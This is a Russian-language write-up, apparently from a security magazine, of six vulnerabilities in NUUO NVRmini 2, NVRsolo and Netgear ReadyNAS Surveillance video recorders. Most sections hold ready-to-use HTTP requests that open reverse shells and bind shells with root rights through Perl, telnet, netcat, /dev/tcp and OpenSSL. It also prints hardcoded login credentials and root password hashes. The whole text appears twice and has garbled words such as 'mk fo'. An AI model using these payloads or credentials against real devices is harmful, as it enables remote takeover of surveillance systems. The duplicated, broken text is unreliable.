Уязвимость 1.
Неправильная проверка вводимых данных приводит к удаленному выполнению кода
Веб-интерфейс содержит скрытый файл с именем __debugging_center_ utils___.php, который неправильно проверяет параметр log и передает его значение в функцию system().
Смотрите скрин
Доступ к этому файлу может получить любой неавторизованный пользова- тель. В итоге мы можем сделать следующее:
ReadyNAS Surveillance. Пример открытия бэк-шелла на адрес 192.168.1.204:9000 с правами admin:
GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3a
Socket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3a
INET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b
$~->fdopen($c,w)%3bsystem$_+while<>%3b'
NVRmini 2 и NVRsolo. Пример открытия двух шеллов на адрес 192.168.1.204, один на 9999-м порту, а другой — на 9998-м. Выполнение команд идет на 9999- м порту, а вывод получает 9998-й порт. Команды выполняются с правами root:
GET /__debugging_center_utils___.php?log=something%3btelnet+192.168
.1.204+9999+|+bash+|+telnet+192.168.1.204+9998
Уязвимость 2.
Неправильная проверка вводимых данных приводит к удаленному выполнению кода
Скрипт handle_daylightsaving.php недостаточно надежно проверяет пара- метр NTPServer и передает его значение в функцию system().
Смотрите скрин
Для доступа к этому файлу уже нужна учетная запись авторизованного поль- зователя с правами администратора.
ReadyNAS Surveillance. Создаем файл /tmp/test с выводом команды whoami:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b
+whoami+>+/tmp/test
NVRmini 2 и NVRsolo. Открываем шелл с правами root:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/
f%3bmk fo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204
+9000+>/tmp/f
Crystal. Можем открыть шелл с правами root:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i
+>%26+/dev/tcp/192.168.1.204/4444+0>%26
------------
Уязвимость 3.
Сброс пароля администратора
-----------
В старых версиях прошивок и приложения ReadyNAS Surveillance неавторизованный
пользователи могли обратиться к файлу cgi_system из веб-интерфей- са. Этот файл позволяет выполнять несколько интересных системных команд, таких как загрузка настроек по умолчанию. Это позволяет сбросить пароль ад- министратора. Похоже, что версии 2.2.1 и 3.0.0 прошивок NVRmini 2 и NVRsolo уже не уязвимы, хотя ReadyNAS Surveillance по-прежнему содержит уязвимость:
GET /cgi-bin/cgi_system?cmd=loaddefcon g
------------
Уязвимость 4.
Раскрытие информации
----------------
В веб-интерфейсе есть скрытый файл __nvr_status___.php с захардкоженны- ми логином и паролем, которые позволяют просмотреть список текущих про- цессов, информацию о доступной памяти и статус файловой системы. Эта ин- формация может быть получена неавторизованным пользователем с помощью следующего запроса:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit
---------------
Уязвимость 5.
Захардкоженный пароль администратора
-------------
NVRmini 2 и NVRsolo содержат два захардкоженных пароля для пользователя root (один закомментирован). У авторов эксплоита не получилось их подобрать, но они есть во всех устройствах NVRmini 2 и NVRsolo.
NVRmini 2
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
--------
Уязвимость 6.
Инъекция команд в transfer_license
---------
У этой уязвимости есть ограничение: для удаленной атаки требуется аккаунт администратора, а для локальной — права авторизованного пользователя.
В команду transfer_license можно внедрить свою команду через пара- метр sn:
cgi_main?cmd=transfer_license&method=of ine&sn=";<command>;#
Эти данные будут переданы напрямую в C-функцию system() в исполняемом файле cgi_main (дальше мы подробнее рассмотрим этот фрагмент кода). NVRmini 2. Можно открыть шелл на порту 4444:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b
nc+-l+-p+4444+-e+/bin/sh+%26+%23
В Netgear Surveillance нет netcat, но можно получить OpenSSL реверс-шелл по адресу 192.168.133.204:4444:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b
mk fo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client
+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Эту уязвимость может использовать любой авторизованный пользователь для повышения своих прав до root или admin с помощью следующей команды:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=of ine
&sn=<PAYLOAD>'
Исполняемый файл cgi_main находится в /apps/surveillance/bin/cgi_ main на устройстве ReadyNAS. В NVRmini 2 это /NUUO/bin/cgi_main.
Неправильная проверка вводимых данных приводит к удаленному выполнению кода
Веб-интерфейс содержит скрытый файл с именем __debugging_center_ utils___.php, который неправильно проверяет параметр log и передает его значение в функцию system().
Смотрите скрин
Доступ к этому файлу может получить любой неавторизованный пользова- тель. В итоге мы можем сделать следующее:
ReadyNAS Surveillance. Пример открытия бэк-шелла на адрес 192.168.1.204:9000 с правами admin:
GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3a
Socket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3a
INET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b
$~->fdopen($c,w)%3bsystem$_+while<>%3b'
NVRmini 2 и NVRsolo. Пример открытия двух шеллов на адрес 192.168.1.204, один на 9999-м порту, а другой — на 9998-м. Выполнение команд идет на 9999- м порту, а вывод получает 9998-й порт. Команды выполняются с правами root:
GET /__debugging_center_utils___.php?log=something%3btelnet+192.168
.1.204+9999+|+bash+|+telnet+192.168.1.204+9998
Уязвимость 2.
Неправильная проверка вводимых данных приводит к удаленному выполнению кода
Скрипт handle_daylightsaving.php недостаточно надежно проверяет пара- метр NTPServer и передает его значение в функцию system().
Смотрите скрин
Для доступа к этому файлу уже нужна учетная запись авторизованного поль- зователя с правами администратора.
ReadyNAS Surveillance. Создаем файл /tmp/test с выводом команды whoami:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b
+whoami+>+/tmp/test
NVRmini 2 и NVRsolo. Открываем шелл с правами root:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/
f%3bmk fo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204
+9000+>/tmp/f
Crystal. Можем открыть шелл с правами root:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i
+>%26+/dev/tcp/192.168.1.204/4444+0>%26
------------
Уязвимость 3.
Сброс пароля администратора
-----------
В старых версиях прошивок и приложения ReadyNAS Surveillance неавторизованный
пользователи могли обратиться к файлу cgi_system из веб-интерфей- са. Этот файл позволяет выполнять несколько интересных системных команд, таких как загрузка настроек по умолчанию. Это позволяет сбросить пароль ад- министратора. Похоже, что версии 2.2.1 и 3.0.0 прошивок NVRmini 2 и NVRsolo уже не уязвимы, хотя ReadyNAS Surveillance по-прежнему содержит уязвимость:
GET /cgi-bin/cgi_system?cmd=loaddefcon g
------------
Уязвимость 4.
Раскрытие информации
----------------
В веб-интерфейсе есть скрытый файл __nvr_status___.php с захардкоженны- ми логином и паролем, которые позволяют просмотреть список текущих про- цессов, информацию о доступной памяти и статус файловой системы. Эта ин- формация может быть получена неавторизованным пользователем с помощью следующего запроса:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit
---------------
Уязвимость 5.
Захардкоженный пароль администратора
-------------
NVRmini 2 и NVRsolo содержат два захардкоженных пароля для пользователя root (один закомментирован). У авторов эксплоита не получилось их подобрать, но они есть во всех устройствах NVRmini 2 и NVRsolo.
NVRmini 2
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
--------
Уязвимость 6.
Инъекция команд в transfer_license
---------
У этой уязвимости есть ограничение: для удаленной атаки требуется аккаунт администратора, а для локальной — права авторизованного пользователя.
В команду transfer_license можно внедрить свою команду через пара- метр sn:
cgi_main?cmd=transfer_license&method=of ine&sn=";<command>;#
Эти данные будут переданы напрямую в C-функцию system() в исполняемом файле cgi_main (дальше мы подробнее рассмотрим этот фрагмент кода). NVRmini 2. Можно открыть шелл на порту 4444:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b
nc+-l+-p+4444+-e+/bin/sh+%26+%23
В Netgear Surveillance нет netcat, но можно получить OpenSSL реверс-шелл по адресу 192.168.133.204:4444:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=of ine&sn="%3b
mk fo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client
+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Эту уязвимость может использовать любой авторизованный пользователь для повышения своих прав до root или admin с помощью следующей команды:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=of ine
&sn=<PAYLOAD>'
Исполняемый файл cgi_main находится в /apps/surveillance/bin/cgi_ main на устройстве ReadyNAS. В NVRmini 2 это /NUUO/bin/cgi_main.